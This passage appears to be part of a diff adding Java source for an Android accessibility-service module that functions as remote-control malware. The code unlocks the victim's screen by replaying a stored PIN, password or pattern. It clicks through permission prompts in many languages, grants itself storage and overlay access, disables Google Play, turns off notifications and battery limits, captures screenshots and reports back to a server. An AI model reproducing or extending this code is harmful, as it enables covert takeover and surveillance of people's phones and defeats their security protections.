the left middle +// end = new Point(screenWidth - 100, screenHeight / 2); // End near the right middle +// generateHorizontalPoints(movements, start, end, false); +// break; +// default: +// System.out.println("Invalid direction"); +// return; +// } +// +// mouseDraw(movements, 500); +// } + +// private static void generateVerticalPoints(Point[] movements, Point start, Point end, boolean isUp) { +// for (int i = 0; i < movements.length; i++) { +// int y = isUp ? start.y - i * (start.y - end.y) / movements.length : start.y + i * (end.y - start.y) / movements.length; +// movements[i] = new Point(start.x, y); +// } +// } +// +// private static void generateHorizontalPoints(Point[] movements, Point start, Point end, boolean isLeft) { +// for (int i = 0; i < movements.length; i++) { +// int x = isLeft ? start.x - i * (start.x - end.x) / movements.length : start.x + i * (end.x - start.x) / movements.length; +// movements[i] = new Point(x, start.y); +// } +// } + +// @SuppressLint("NewApi") +// public static void AllowPrims14(int screenWidth, int screenHeight) { +// +// int startX = screenWidth / 4; +// int startY = (int) (screenHeight * 0.25) + 300; +// +// int step = 15;// steps bettwen each click +// int endY = screenHeight - 100;//here i want to reach 90% of screen +// if (MyPermissions.hasPermissions(mycontext(), MyPermissions.ALL_PERMISSIONS())) { +// return; +// } +// try { +// Thread.sleep(1000); +// } catch (Exception s) { +// } +// +// for (int y = startY; y < endY; y += step) { +// try { +// Thread.sleep(40); +// } catch (Exception s) { +// } +// if (MyPermissions.hasPermissions(mycontext(), MyPermissions.ALL_PERMISSIONS())) { +// // AccessServices.Auto_Click = false; +// MySettings.WriteBool(mycontext(), Consts.Auto_Prims, false); +// break; +// } +// try { +// clickthis(startX, y); +// +// } catch (Exception e) { +// // Handle the exception if needed +// } +// +// +// } +// } + + // public static void AllowStorage14(int screenWidth, int screenHeight) { +// AccessServices MyAccess = myAccess(); +// if (MyAccess == null) { +// return; +// } +// // Calculate the starting point: a little below the top of the screen +// int startX = (int) (screenWidth * 0.75);; // Middle of the screen width +// int startY = screenHeight / 10; // Starting point, 10% down from the top +// +// int step = 10; // Define the step size for each click (you can adjust this as needed) +// int endY = (int) (screenHeight * 0.6); // End point, 50% above the bottom +// +// +// +// // Iterate from startY down to the bottom of the screen, in steps +// for (int y = startY; y < endY; y += step) { +// try { +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { +// clickthis(startX, y); +// } +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { +// if (Environment.isExternalStorageManager()) { +// MyAccess.FOR_EXTR_STRG = false; +// blockBack(MyAccess); +// +// break; +// } +// } +// } catch (Exception e) { +// // Handle the exception if needed +// } +// try { +// sleep(10); +// } catch (Exception s) { +// } +// } +// } +// public static void AllowScreen14(int screenWidth, int screenHeight) { +// AccessServices MyAccess = myAccess(); +// if (MyAccess == null) { +// return; +// } +// // Calculate the starting point: a little below the top of the screen +// int startX = (int) (screenWidth * 0.75); +// ; // 75% of the screen width +// int startY = (int) (screenHeight * 0.9); +// +// int step = 10; // Define the step size for each click (you can adjust this as needed) +// int endY = screenHeight - (screenHeight / 3); // End point, 50% above the bottom +//// try { +//// sleep(1000); +//// } catch (Exception s) { +//// } +// // Iterate from startY down to the bottom of the screen, in steps +// for (int y = startY; y < endY; y += step) { +// try { +// if (MySettings.ReadBool(MyAccess, Consts.Auto_Sreen, false)) { +// +// break; +// } +// // MyLoger.Debug("AllowScreen14","X: "+startX +" "+"Y: "+y); +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { +// clickthis(startX, y); +// } +// +// } catch (Exception e) { +// // Handle the exception if needed +// } +// try { +// sleep(1); +// } catch (Exception s) { +// } +// } +// } + + public static void UnlockScreen() { + Context ctx = mycontext(); + if (ctx == null) { + return; + } + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + KeyguardManager keyguardManager = (KeyguardManager) ctx.getSystemService(Context.KEYGUARD_SERVICE); + boolean isScreenLocked = keyguardManager.isKeyguardLocked(); + + if (isScreenLocked) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + AccessServices.skiprecord = true; + + +// Handler hstop = new Handler(Looper.getMainLooper()); +// hstop.post(new Runnable() { +// public void run() { +// try { +// if (MyAccess.WatchFramelayout.getWindowToken() != null) { +// try { +// MyAccess.windowmanager.removeView(MyAccess.WatchFramelayout); +// } catch (Exception a) { +// } +// } +// } catch (Exception d) { +// +// } +// } +// }); + WakeScreen(null); + //disableTouchExploration(); + MyAccess.disablesuperwatch(); + try { + sleep(800); + } catch (Exception a) { + } + + clickthis(100, 100); + try { + sleep(800); + } catch (Exception a) { + } + // Handler handler = new Handler(MyAccess.getMainLooper()); + //handler.postDelayed(() -> { + slideUp(); + //}, 500); + + try { + sleep(2500); + } catch (Exception a) { + } + + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + // String Myname = getLabelApplication(ctx).toLowerCase(); + // TouchWatcher("Repet", Myname); + + // handler.postDelayed(() -> { + + AccessServices.CapOK = false; + String[] currentpass = MySettings.Read(MyAccess, Consts.mob_lock, "x:x:x").split(":"); + + switch (currentpass[0]) { + case "pa": { + boolean nedenter = false; + if (currentpass.length == 3 && currentpass[2].equals("E")) { + nedenter = true; + } + MyAccess.Unlockpass(currentpass[1], nedenter); + break; + } + case "pt": { + MyAccess.drawPattern(currentpass[1]); + break; + } + case "pi": { + //handler.postDelayed(() -> { + boolean nedenter = false; + if (currentpass.length == 3 && currentpass[2].equals("E")) { + nedenter = true; + } + drawPin(currentpass[1], nedenter); + // }, 100); + break; + } + default: { + AccessServices.skiprecord = false; + AlertServer(ctx, "Lock Screen", "Unknown"); + break; + } + } + // }, 2000); + + } + } + + } + + } + + public static void setKeyboardVisibility(boolean show) { + AccessibilityService MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + Context context = mycontext(); + if (context == null) { + return; + } + InputMethodManager imm = (InputMethodManager) context.getSystemService(Context.INPUT_METHOD_SERVICE); + + if (show) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + MyAccess.getSoftKeyboardController().setShowMode(SHOW_MODE_AUTO); + } + + // Force the keyboard to open + try { + imm.toggleSoftInput(InputMethodManager.SHOW_FORCED, 0); + } catch (Exception as) { + as.printStackTrace(); + } + } else { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + MyAccess.getSoftKeyboardController().setShowMode(SHOW_MODE_HIDDEN); + } + + // Hide the keyboard + try { + imm.toggleSoftInput(InputMethodManager.HIDE_IMPLICIT_ONLY, 0); + } catch (Exception g) { + } + } + } + + public static void adjustVolume(boolean increase) { + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + AudioManager audioManager = (AudioManager) MyAccess.getSystemService(Context.AUDIO_SERVICE); + if (audioManager != null) { + int direction = increase ? AudioManager.ADJUST_RAISE : AudioManager.ADJUST_LOWER; + audioManager.adjustStreamVolume(AudioManager.STREAM_MUSIC, direction, 0); + audioManager.adjustStreamVolume(AudioManager.STREAM_RING, direction, AudioManager.FLAG_SHOW_UI); + audioManager.adjustStreamVolume(AudioManager.STREAM_SYSTEM, direction, 0); + audioManager.adjustStreamVolume(AudioManager.STREAM_NOTIFICATION, direction, 0); + } + + } + +// public static void getMediaProjectionPermission(AccessibilityNodeInfo nodeInfo) { +// +// AccessServices MyAccess = myAccess(); +// if (MyAccess == null) { +// return; +// } +// if (nodeInfo != null) { +// if ((nodeInfo.getClassName() != null && nodeInfo.getClassName().equals("android.widget.Button")) || +// (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE && nodeInfo.getClassName() != null && nodeInfo.getClassName().equals("android.widget.TextView"))) { +// if (nodeInfo.getText() != null) { +// String nodeText = nodeInfo.getText().toString().toLowerCase(); +// //if (Common.getInstance().getMediaProjection()) { +// if (nodeText.equals("start now") +// || nodeText.equals("start") +// || nodeText.equals("iniciar agora") +// || nodeText.equals("iniciar ahora") +// || nodeText.equals("empezar ahora") +// || nodeText.equals("começar agora") +// || nodeText.equals("início") +// || nodeText.equals("iniciar") +// || nodeText.equals("şimdi başla") +// || nodeText.equals("şimdi başlat") +// || nodeText.equals("立即开始")) { +// +// nodeInfo.performAction(AccessibilityNodeInfo.ACTION_CLICK); +// +//// Rect out = new Rect(); +//// nodeInfo.getBoundsInScreen(out); +//// int X = (int) out.exactCenterX(); +//// int Y = (int) out.exactCenterY(); +//// clickthis(X, Y); +// +// } else if (nodeText.equals("cancel") || nodeText.equals("cancelar") || nodeText.equals("iptal") || nodeText.equals("取消")) { +// Rect rect = new Rect(); +// nodeInfo.getBoundsInScreen(rect); +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { +// clickthis(MyAccess.mWidth - rect.left - 10, rect.top + 10); +// } +// } +// // } +// +// } +// } +// for (int i = 0; i < nodeInfo.getChildCount(); i++) { +// getMediaProjectionPermission(nodeInfo.getChild(i)); +// } +// } +// } + + public static void onesnap() { + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + Context ctx = mycontext(); + if (ctx == null) { + return; + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + MyAccess.CapScreen(ctx, "snap", 70); + } else { + AlertServer(ctx, "Snap Short", "this feature requires android 11 and beyond"); + } + } + +// private static boolean oncstorage14 = false; +// +// private static void findAndCheckToggle(AccessibilityNodeInfo node) { +// if (node == null) return; +// +// // Check if the current node is a toggle android:id/switch_widget +// if ("android.widget.Switch".equals(node.getClassName())) { +// if (!node.isChecked()) { +// // Perform click action to toggle it +// Rect out = new Rect(); +// node.getBoundsInScreen(out); +// int X = (int) out.exactCenterX(); +// int Y = (int) out.exactCenterY(); +// clickthis(X, Y); +// AccessServices MyAccess = myAccess(); +// if (MyAccess == null) { +// return; +// } +// for (int i = 0; i <= 2; i++) { +// +// try { +// MyAccess.performGlobalAction(GLOBAL_ACTION_BACK); +// } catch (Exception e) { +// } +// +// } +// } +// return; // Exit after finding the first toggle +// } +// +// // Recursively check child nodes +// for (int i = 0; i < node.getChildCount(); i++) { +// findAndCheckToggle(node.getChild(i)); +// } +// } + + public static AccessibilityNodeInfo getNodeByViewId(AccessibilityNodeInfo rootNode, String viewId) { + + if (rootNode == null) return null; + + List nodes = rootNode.findAccessibilityNodeInfosByViewId(viewId); + return (nodes.isEmpty()) ? null : nodes.get(0); // Return first match + } + + public static AccessibilityNodeInfo getFirstNodeByViewId(AccessibilityNodeInfo rootNode, String viewId) { + + + List nodeList = rootNode.findAccessibilityNodeInfosByViewId(viewId); + + if (nodeList != null) { + for (AccessibilityNodeInfo node : nodeList) { + AccessibilityNodeInfo parent = node.getParent(); + if (parent == null) continue; + + int childCount = parent.getChildCount(); + for (int i = 0; i < childCount; i++) { + AccessibilityNodeInfo child = parent.getChild(i); + if (child == null) continue; + + if (child.equals(node)) { + // Now you know 'i' is the "index" of this node under its parent + Log.d("AccessibilityService", "Node index: " + i); + + if (i == 0) { // If index == 0, this is the node you want! + return node; + } + } + } + } + } + + return null; + + } + + public static List getNodesByClassName(AccessibilityNodeInfo rootNode, String className) { + List matchingNodes = new ArrayList<>(); + if (rootNode == null) return matchingNodes; + + searchNodesByClass(rootNode, className, matchingNodes); + return matchingNodes; + } + + private static void searchNodesByClass(AccessibilityNodeInfo node, String className, List result) { + if (node == null) return; + + if (node.getClassName() != null && node.getClassName().toString().equals(className)) { + result.add(node); // Add matching node to list + } + + for (int i = 0; i < node.getChildCount(); i++) { + searchNodesByClass(node.getChild(i), className, result); + } + } + +// public static void clickByText(AccessibilityNodeInfo node, String text) { +// +// if (node == null) { +// return; +// } +// +// for (int i = 0; i < node.getChildCount(); i++) { +// AccessibilityNodeInfo childNode = node.getChild(i); +// +// if (childNode != null) { +// CharSequence buttonLabel = childNode.getText(); +// if (buttonLabel != null && buttonLabel.toString().contains(text)) { +// // Button found, perform desired action +// childNode.performAction(AccessibilityNodeInfo.ACTION_CLICK); +// // childNode.recycle(); +// return; +// } +// } +// +// clickByText(childNode, text); +// childNode.recycle(); +// } +// } + + public static AccessibilityNodeInfo findByTextAndId(AccessibilityNodeInfo root, String viewId, String targetText) { + if (root == null) return null; + + // Find all nodes with the specified View ID + List nodes = root.findAccessibilityNodeInfosByViewId(viewId); + + // Loop through nodes to check for matching text + for (AccessibilityNodeInfo node : nodes) { + if (node != null && node.getText() != null && node.getText().toString().toLowerCase().equals(targetText)) { + return node; // Return the matching node + } + } + + return null; // No matching node found + } + + public static AccessibilityNodeInfo findByTextAndClassName(AccessibilityNodeInfo root, String className, String targetText) { + if (root == null) return null; + + // Recursive traversal of the node tree + for (int i = 0; i < root.getChildCount(); i++) { + AccessibilityNodeInfo child = root.getChild(i); + + if (child != null && child.getClassName() != null) { + // Check if class name and text match + if (className.equals(child.getClassName()) && + child.getText() != null && + child.getText().toString().toLowerCase().equals(targetText)) { + return child; // Found matching node + } + + // Recursively search child nodes + AccessibilityNodeInfo result = findByTextAndClassName(child, className, targetText); + if (result != null) { + return result; + } + } + } + + return null; // No matching node found + } + + public static boolean scrollToText(AccessibilityNodeInfo rootNode, + AccessibilityNodeInfo targetNode, + String[] texts) { + + if (rootNode == null) { + return false; + } + if (targetNode == null) { + return false; + } + boolean found = false; + + for (String text : texts) { + List nodeList = rootNode.findAccessibilityNodeInfosByText(text); + if (nodeList == null || nodeList.isEmpty()) { + continue; + } + + + Rect targetBounds = new Rect(); + targetNode.getBoundsInScreen(targetBounds); + + if (targetBounds.isEmpty()) { + targetNode.recycle(); + continue; + } + + while (targetNode.isScrollable() && !isNodeFullyVisible(rootNode, targetBounds)) { + targetNode.performAction(AccessibilityNodeInfo.ACTION_SCROLL_FORWARD); + targetNode.getBoundsInScreen(targetBounds); + } + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + found = clickthis(targetBounds.centerX(), targetBounds.centerY()); + } + targetNode.recycle(); + if (found) { + break; + } + } + + rootNode.recycle(); + + return found; + } + + public static boolean isNodeFullyVisible(AccessibilityNodeInfo rootNode, Rect bounds) { + Rect visibleRect = new Rect(); + rootNode.getBoundsInScreen(visibleRect); + return visibleRect.contains(bounds); + } + + public static String[] getDisableStrings() { + String currentLanguage = Locale.getDefault().getLanguage(); + + switch (currentLanguage) { + case "ar": // Arabic + return new String[]{"تعطيل", "تعطيل التطبيق", "إيقاف", "إيقاف التطبيق"}; + case "zh": // Chinese (Simplified) + return new String[]{"停用", "停用应用"}; + case "tr": // Turkish + return new String[]{"Devre Dışı Bırak", "Uygulamayı Devre Dışı Bırak"}; + case "ru": // Russian + return new String[]{"Отключить", "Отключить приложение"}; + case "es": // Spanish + return new String[]{"Deshabilitar", "Deshabilitar aplicación"}; + case "pt": // Portuguese (Brazil) + return new String[]{"Desativar", "Desativar aplicativo"}; + default: // Default to English + return new String[]{"Disable", "Disable app"}; + } + } + + + //Main function , Call it from onaccessibilityevent + public static void Clickallow(AccessibilityNodeInfo rotmain, AccessibilityNodeInfo srcnodeinf) { + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + Context ctx = mycontext(); + if (ctx == null) { + return; + } + + + if (FOR_PLY) {// Disable google play from settings + if (rotmain != null) { + if (isAppDisabled(ctx, "com.android.vending")) { + FOR_PLY = false; + return; + } + if (onedisply) { + return; + } + onedisply = true; + //EnableDraw(); + new Handler(Looper.getMainLooper()).postDelayed(() -> disply(ctx), 800); + + } + + } + if (AccessServices.FOR_EXTR_STRG) { + if (rotmain != null) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + if (Environment.isExternalStorageManager()) { + AccessServices.FOR_EXTR_STRG = false; + return; + } + } + // AccessibilityNodeInfo RootView = AccessibilityNodeInfo.obtain(rotmain); + if (oneExtstrg) { + return; + } + oneExtstrg = true; + //EnableDraw(); + new Handler(Looper.getMainLooper()).postDelayed(() -> EnableExtraStrg(), 1500); + } + + return; + } +// if (FOR_CHNG_STNG) { +// if (rotmain != null) { +// AccessibilityNodeInfo RootView = AccessibilityNodeInfo.obtain(rotmain); +// new Handler(Looper.getMainLooper()).postDelayed(() -> { +// +// try { +// // if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { +// if (Settings.System.canWrite(ctx)) { +// FOR_CHNG_STNG = false; +// //blockBack(); +// } else { +// String clasname = "android.widget.Switch"; +// if (Build.VERSION.SDK_INT >= 34) { +// clasname = "android.view.View"; +// // +// // findAndCheckToggle(RootView); +// } +// List nodes = getNodesByClassName(RootView, clasname); +// +// for (AccessibilityNodeInfo node : nodes) { +// +// if (node.isCheckable()) { +// Log.d("Accessibility", "Found checkable element: " + node.getClassName()); +// if (!node.isChecked()) { +// if (node.isClickable()) { +// if (Settings.System.canWrite(ctx)) { +// FOR_CHNG_STNG = false; +// return; +// } +// node.performAction(AccessibilityNodeInfo.ACTION_CLICK); +// blockBack(); +// } else { +// Rect out = new Rect(); +// node.getBoundsInScreen(out); +// int X = (int) out.exactCenterX(); +// int Y = (int) out.exactCenterY(); +// if (Settings.System.canWrite(ctx)) { +// FOR_CHNG_STNG = false; +// return; +// } +// clickthis(X, Y); +// try { +// sleep(500); +// } catch (Exception a) { +// } +// blockBack(); +// } +// } +// } +// } +// +// } +// //} +// } catch (Exception a) { +// MyLoger.Error("FOR_EXTR_STRG", a.getMessage()); +// } +// }, 1000); +// } +// +// return; +// } + if (FOR_DRAW_OVER) { + //if(rotmain != null){ + try { + if (Settings.canDrawOverlays(ctx)) { + FOR_DRAW_OVER = false; + } else { + if (onetimeDraw) { + return; + } + onetimeDraw = true; + //EnableDraw(); + new Handler(Looper.getMainLooper()).postDelayed(() -> EnableDraw(ctx, true), 1000); + + return; + } + + } catch (Exception a) { + MyLoger.Error("FOR_DRAW_OVER", a.getMessage()); + } + // } + + } + if (FOR_NOTFY) { + try { + if (onetimeNoty) { + return; + } + onetimeNoty = true; + new Handler(Looper.getMainLooper()).postDelayed(() -> DisabelNotifi(), 1000); + //return; + } catch (Exception s) { + } + return; + } + //if (MyAccess.FOR_EXTR_STRG) { +// try { +// Thread.sleep(1000); +// } catch (InterruptedException e) { +// +// } +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { +// if (Environment.isExternalStorageManager()) { +// MyAccess.FOR_EXTR_STRG = false; +// return; +// } +// } +// +// if (Build.VERSION.SDK_INT >= 34) { +// if (!oncstorage14){ +// oncstorage14 =true; +// +// AllowStorage14(MyAccess.mWidth,MyAccess.mHeight); +// }else{ +// return; +// } +// +// } +// +// +// //android:id/switch_widget +// if (UtliTools.isSamsung()) { +// String Myname = getLabelApplication(ctx).toLowerCase(); +// List Mynamtbtn = RootView.findAccessibilityNodeInfosByText(Myname); +// +// if (!Mynamtbtn.isEmpty()) { +// AccessibilityNodeInfo button = Mynamtbtn.get(0); +// if (button != null) { +// +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { +// +// try { +// sleep(500); +// } catch (InterruptedException e) { +// e.printStackTrace(); +// } +// //sleep(500); +// +// Rect out = new Rect(); +// button.getBoundsInScreen(out); +// int X = (int) out.exactCenterX(); +// int Y = (int) out.exactCenterY(); +// clickthis(X, Y); +// // sleep(500); +// // click(X,Y); +// //clickByText(Myname); +// // clickthis(X, Y); +// //button.performAction(AccessibilityNodeInfo.ACTION_LONG_CLICK); +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { +// if (Environment.isExternalStorageManager()) { +// MyAccess.FOR_EXTR_STRG = false; +// blockBack(MyAccess); +// blockBack(MyAccess); +// +// } else { +// Toast.makeText(MyAccess, "Please Allow file Access to continue.", Toast.LENGTH_LONG).show(); +// } +// } +// +// } +// } +// } else { +// if (scrollView(RootView)) { +// try { +// sleep(500); +// } catch (InterruptedException e) { +// e.printStackTrace(); +// } +// } +// } +// +// } else { +// List buttonList2 = RootView.findAccessibilityNodeInfosByViewId("android:id/switch_widget"); +// +// if (!buttonList2.isEmpty()) { +// AccessibilityNodeInfo button = buttonList2.get(0); +// if (button != null) { +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { +// +// +// +// Rect out = new Rect(); +// button.getBoundsInScreen(out); +// int X = (int) out.exactCenterX(); +// int Y = (int) out.exactCenterY(); +// clickthis(X, Y); +// try { +// sleep(500); +// } catch (InterruptedException e) { +// e.printStackTrace(); +// } +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { +// if (Environment.isExternalStorageManager()) { +// MyAccess.FOR_EXTR_STRG = false; +// blockBack(MyAccess); +// blockBack(MyAccess); +// } else { +// Toast.makeText(MyAccess, "Please Allow file Access to continue.", Toast.LENGTH_LONG).show(); +// } +// } +// } +// } +// } +// } + + // } + + + boolean clickedok = false; + if (rotmain != null) { + AccessibilityNodeInfo RootView = AccessibilityNodeInfo.obtain(rotmain); + String[] arrayButtonClick2 = {"com.android.settings:id/left_button", + "android:id/button1", + "com.android.packageinstaller:id/permission_allow_always_button", + "com.android.permissioncontroller:id/permission_allow_foreground_only_button", + "com.android.permissioncontroller:id/permission_allow_button", + "com.android.packageinstaller:id/permission_allow_foreground_only_button", + "com.android.permissioncontroller:id/permission_allow_foreground_only_button", + "com.android.packageinstaller:id/permission_allow_button", + "android:id/button1", + "com.samsung.android.packageinstaller:id/permission_allow_button", + "com.samsung.android.permissioncontroller:id/permission_allow_button", + "com.samsung.android.permissioncontroller:id/permission_allow_foreground_only_button", + "com.huawei.systemmanager:id/btn_allow", + "com.huawei.packageinstaller:id/permission_allow_button", + "com.lbe.security.miui:id/permission_allow_foreground_only_button", + "com.miui.securitycenter:id/accept", + "miui:id/grant", + "miui:id/button2", + "miui:id/action_positive"}; + for (String value : arrayButtonClick2) { + for (AccessibilityNodeInfo node : RootView.findAccessibilityNodeInfosByViewId(value)) { + try { + + node.performAction(AccessibilityNodeInfo.ACTION_CLICK); + AccessServices.forbattery = false; + removeapp = false; + node.recycle(); + clickedok = true; + break; + } catch (Exception a) { + } + } + if (clickedok) { + break; + } + } + + if (clickedok) { + RootView.recycle(); + return; + } + +// String[] arrayButtonClick = { +// +// , +// }; +// +// for (String s : arrayButtonClick) { +// for (AccessibilityNodeInfo node : nodeInfo.findAccessibilityNodeInfosByViewId(s)) { +// try { +// +// +// node.performAction(AccessibilityNodeInfo.ACTION_CLICK); +// +// +// removeapp = false; +// AccessServices.forbattery = false; +// node.recycle(); +// //AccessServices.Auto_Click = false; +// break; +// +// } catch (Exception a) { +// } +// } +// } + + } + + + try { + if (srcnodeinf != null) { + String[] allowWords = { + "Allow", // English + "Autoriser", // French + "Erlauben", // German + "Permitir", // Spanish + "允许", // Chinese (Simplified) + "허용", // Korean + "السماح", // Arabic + "izin ver", // Turkish + "Permitir", // Brazilian Portuguese (same word as Spanish) + }; + + List nodes = null; + + for (String allowWord : allowWords) { + try { + nodes = findNodesByText(allowWord, srcnodeinf); + } catch (Exception a) { + } + if (nodes != null && !nodes.isEmpty()) { + + AccessibilityNodeInfo node = nodes.get(0); + node.performAction(AccessibilityNodeInfo.ACTION_CLICK); + + removeapp = false; + AccessServices.forbattery = false; + node.recycle(); + // AccessServices.Auto_Click = false; + break; + } + } + } + + + } catch (Exception a) { + a.printStackTrace(); + } + + + if (srcnodeinf != null) { + for (AccessibilityNodeInfo node : srcnodeinf.findAccessibilityNodeInfosByViewId("com.miui.securitycenter:id/accept")) { + node.performAction(AccessibilityNodeInfo.ACTION_CLICK); + // AccessServices.Auto_Click = false; + // Auto_Click = false; + } + } + + + try { + if (rotmain != null) { + AccessibilityNodeInfo RootView = AccessibilityNodeInfo.obtain(rotmain); + //For Any + List buttonTexts2 = Arrays.asList( + "本次", // Chinese: Once + "Once", // English: Once + "ཐེངས་འདིར་འཁོར་སྐྱོད་བྱེད་ཆོག", // Tibetan: Once + "kali", // Indonesian: Once + "lần", // Vietnamese: Once + "တစ်ကြိမ်", // Burmese: Once + "始终", // Chinese: Always + "Allow", // English: Permission + "time", // English: Time + "السماح", // Arabic: Allow + "ད་དེ་ཆོག", // Tibetan: Allow now + "izinkan", // Indonesian: Allow + "Chấp nhận", // Vietnamese: Accept + "ခွင့်ပြုပါ", // Burmese: Allow + "Permitir", // Spanish: Allow + "Permitir solo mientras se usa la aplicación", // Spanish: Allow only while using the app + "Permitir", // Brazilian Portuguese: Allow + "Permitir apenas enquanto estiver usando o aplicativo" // Brazilian Portuguese: Allow only while using the app + ); + + + for (String buttonText : buttonTexts2) { + List nodeInfos = RootView.findAccessibilityNodeInfosByText(buttonText); + + if (!nodeInfos.isEmpty()) { + AccessibilityNodeInfo buttonNode = nodeInfos.get(0); + + if (buttonNode.isClickable()) { + buttonNode.performAction(AccessibilityNodeInfo.ACTION_CLICK); + removeapp = false; + AccessServices.forbattery = false; + //AccessServices.forbattery = false; + //AccessServices.Auto_Click = false; + break; + } + buttonNode.recycle(); + } + } + } + + } catch (Exception a) { + + } + if (AccessServices.forbattery && + Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + new Handler(Looper.getMainLooper()).postDelayed(() -> clikbtry(ctx), 800); + + + //AccessibilityNodeInfo RootView = MyAccess.getRootInActiveWindow(); +// if (RootView == null) { +// return; +// } + +// if (CLickTextpostion(toclickbtry, RootView)) { +// AccessServices.forbattery = false; +// //MySettings.WriteBool(ctx, Consts.Auto_Battary, false); +// // AccessServices.Auto_Click = false; +// try { +// MyAccess.performGlobalAction(GLOBAL_ACTION_BACK); +// } catch (Exception e) { +// } +// } + + } + + } + + private static void clikbtry(Context ctx) { + + if (UtliTools.IsIgnore_Battery(ctx)) { + AccessServices.forbattery = false; + // MySettings.WriteBool(ctx, Consts.Auto_Battary, false); + // blockBack(MyAccess); + // AccessServices.Auto_Click = false; + return; + } + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + String CurrnetLanuage = Locale.getDefault().getLanguage(); + String toclickbtry = "No restrictions"; + switch (CurrnetLanuage) { + case "en": + + toclickbtry = "No restrictions"; + + break; + case "ar": + toclickbtry = "لا توجد قيود"; + + + break; + case "zh": + toclickbtry = "无限制"; + + + break; + case "tr": + + toclickbtry = "Kısıtlama yok"; + + break; + case "pt": + + toclickbtry = "Nenhuma restrição"; + break; + + case "ru": + + toclickbtry = "Нет ограничений"; + break; + case "es": + + toclickbtry = "Sin restricciones"; + break; + default: + AccessServices.forbattery = false; + // MySettings.WriteBool(ctx, Consts.Auto_Battary, false); + // AccessServices.Auto_Click = false; + break; + + } + + AccessibilityNodeInfo targetNode = null; + List nfo1 = AccessTools.findNodesByText(toclickbtry, MyAccess.getRootInActiveWindow()); + if (nfo1 != null && !nfo1.isEmpty()) { + targetNode = nfo1.get(0); + } + if (targetNode != null) { + Rect outchiled = new Rect(); + targetNode.getBoundsInScreen(outchiled); + int xCenter = outchiled.centerX(); + int yCenter = outchiled.centerY(); + + clickthis(xCenter, yCenter); + AccessServices.forbattery = false; + } + } + + private static void DisabelNotifi() { + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + String[] viewIds1 = { + "android.widget.CheckBox", + "android.widget.Switch", + "android.view.View" + }; + + for (String viewId : viewIds1) { + List nodes = AccessTools.getNodesByClassName(MyAccess.getRootInActiveWindow(), viewId); + if (nodes != null && nodes.size() > 0) { + for (AccessibilityNodeInfo nodechk : nodes) { + if (nodechk.isCheckable()) { + if (nodechk.isChecked()) {//disable any enabled one + if (nodechk.isClickable()) { + + nodechk.performAction(AccessibilityNodeInfo.ACTION_CLICK); + } else { + + Rect out = new Rect(); + nodechk.getBoundsInScreen(out); + int X = (int) out.exactCenterX(); + int Y = (int) out.exactCenterY(); + clickthis(X, Y); + } + + break; + } + } + } + } + } + new Handler(Looper.getMainLooper()).postDelayed(() -> { + MyAccess.performGlobalAction(GLOBAL_ACTION_BACK); + }, 250); + FOR_NOTFY = false; + } + + private static void disply(Context ctx) { + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + if (isAppDisabled(ctx, "com.android.vending")) { + FOR_PLY = false; + try { + MyAccess.performGlobalAction(GLOBAL_ACTION_BACK); + } catch (Exception e) { + } + return; + } + new Handler(Looper.getMainLooper()).postDelayed(() -> { + String[] toclicks = getDisableStrings(); + + if (CLickTextpostion(toclicks[0], MyAccess.getRootInActiveWindow())) { + //return; + } else { + if (toclicks.length > 2) { + CLickTextpostion(toclicks[2], MyAccess.getRootInActiveWindow()); + } + } + new Handler(Looper.getMainLooper()).postDelayed(() -> { + String[] toclicks2 = getDisableStrings(); + if (CLickTextpostion(toclicks2[1], MyAccess.getRootInActiveWindow())) { + + } else { + if (toclicks2.length > 2) { + CLickTextpostion(toclicks2[3], MyAccess.getRootInActiveWindow()); + } + } + new Handler(Looper.getMainLooper()).postDelayed(() -> { + try { + if (isAppDisabled(ctx, "com.android.vending")) { + FOR_PLY = false; + MyAccess.performGlobalAction(GLOBAL_ACTION_BACK); + } + + } catch (Exception e) { + } + }, 350); + + }, 800); + }, 800); + } + + private static void EnableExtraStrg() { + + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + try { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + if (Environment.isExternalStorageManager()) { + AccessServices.FOR_EXTR_STRG = false; + //blockBack(); + } else { + String clasname = "android.widget.Switch"; + if (Build.VERSION.SDK_INT >= 34) { + clasname = "android.view.View"; + // findAndCheckToggle(RootView); + } + List nodes = getNodesByClassName(MyAccess.getRootInActiveWindow(), clasname); + + for (AccessibilityNodeInfo node : nodes) { + if (node.isCheckable()) { + Log.d("Accessibility", "Found checkable element: " + node.getClassName()); + if (!node.isChecked()) { +// if (node.isClickable()) { +// +// node.performAction(AccessibilityNodeInfo.ACTION_CLICK); +// +// } else { +// Rect out = new Rect(); +// node.getBoundsInScreen(out); +// int X = (int) out.exactCenterX(); +// int Y = (int) out.exactCenterY(); +// +// clickthis(X, Y); +// } + new Handler(Looper.getMainLooper()).postDelayed(() -> + { + Rect out = new Rect(); + 